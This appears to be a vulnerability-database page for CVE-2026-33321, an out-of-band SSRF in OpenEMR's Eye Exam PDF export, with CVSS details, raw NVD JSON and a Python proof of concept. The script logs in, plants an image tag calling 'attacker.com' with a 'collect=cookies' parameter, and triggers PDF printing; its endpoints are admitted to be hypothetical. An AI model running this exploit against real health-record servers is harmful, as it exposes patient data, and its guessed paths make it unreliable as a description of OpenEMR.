Security Vulnerability Report
中文
CVE-2026-33321 CVSS 7.6 HIGH

CVE-2026-33321

Published: 2026-03-19 21:17:12
Last Modified: 2026-03-20 15:03:35

Description

OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 8.0.0.2, users with the `Notes - my encounters` role can fill Eye Exam forms in patient encounters. The answers to the form can be printed out in PDF form. An Out-of-Band Server-Side Request Forgery (OOB SSRF) vulnerability was identified in the PDF creation function where the form answers are parsed as unescaped HTML, allowing an attacker to forge requests from the server made to external or internal resources. Version 8.0.0.2 fixes the issue.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:* - VULNERABLE
OpenEMR < 8.0.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-33321 OpenEMR OOB SSRF import requests def trigger_ssrf(target_url, attacker_server, username, password): session = requests.Session() # 1. Authenticate to OpenEMR login_url = f"{target_url}/login.php" login_data = { "new_login_session_management": "1", "authUser": username, "clearPass": password } session.post(login_url, data=login_data) # 2. Prepare malicious payload for Eye Exam form # Using an img tag to trigger an HTTP request from the server during PDF generation payload = f'<img src="{attacker_server}/?collect=cookies" width="0" height="0" />' # 3. Submit the form with the payload # Endpoint is hypothetical based on typical OpenEMR structure form_url = f"{target_url}/interface/forms/eye_exam/save.php" form_data = { "form_eye_exam": payload, "process": "true" } response = session.post(form_url, data=form_data) if response.status_code == 200: print("[+] Payload injected successfully.") else: print("[-] Failed to inject payload.") return # 4. Trigger PDF generation (The Print action) # This forces the server to parse the HTML and fetch the external resource print_url = f"{target_url}/interface/forms/eye_exam/print.php?id=1" print_response = session.get(print_url) if print_response.status_code == 200: print("[+] PDF generation triggered. Check your server for the OOB request.") else: print("[-] Failed to trigger PDF generation.") if __name__ == "__main__": TARGET = "http://localhost/openemr" ATTACKER_CTRL = "http://attacker.com" trigger_ssrf(TARGET, ATTACKER_CTRL, "low_priv_user", "password")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33321", "sourceIdentifier": "[email protected]", "published": "2026-03-19T21:17:12.017", "lastModified": "2026-03-20T15:03:34.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 8.0.0.2, users with the `Notes - my encounters` role can fill Eye Exam forms in patient encounters. The answers to the form can be printed out in PDF form. An Out-of-Band Server-Side Request Forgery (OOB SSRF) vulnerability was identified in the PDF creation function where the form answers are parsed as unescaped HTML, allowing an attacker to forge requests from the server made to external or internal resources. Version 8.0.0.2 fixes the issue."}, {"lang": "es", "value": "OpenEMR es una aplicación de gestión de prácticas médicas y registros de salud electrónicos gratuita y de código abierto. Antes de la versión 8.0.0.2, los usuarios con el rol 'Notas - mis encuentros' podían rellenar formularios de Examen Ocular en encuentros con pacientes. Las respuestas del formulario se pueden imprimir en formato PDF. Una vulnerabilidad de falsificación de petición del lado del servidor fuera de banda (OOB SSRF) fue identificada en la función de creación de PDF, donde las respuestas del formulario se analizan como HTML sin escapar, permitiendo a un atacante falsificar peticiones desde el servidor realizadas a recursos externos o internos. La versión 8.0.0.2 soluciona el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.0.0.2", "matchCriteriaId": "C78F19AD-BD18-4F61-8B1C-DD099DBC6D34"}]}]}], "references": [{"url": "https://github.com/openemr/openemr/commit/dccc962f06bdf6105ca85c277915167caf3e7c28", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openemr/openemr/security/advisories/GHSA-5pc3-2crw-96rv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}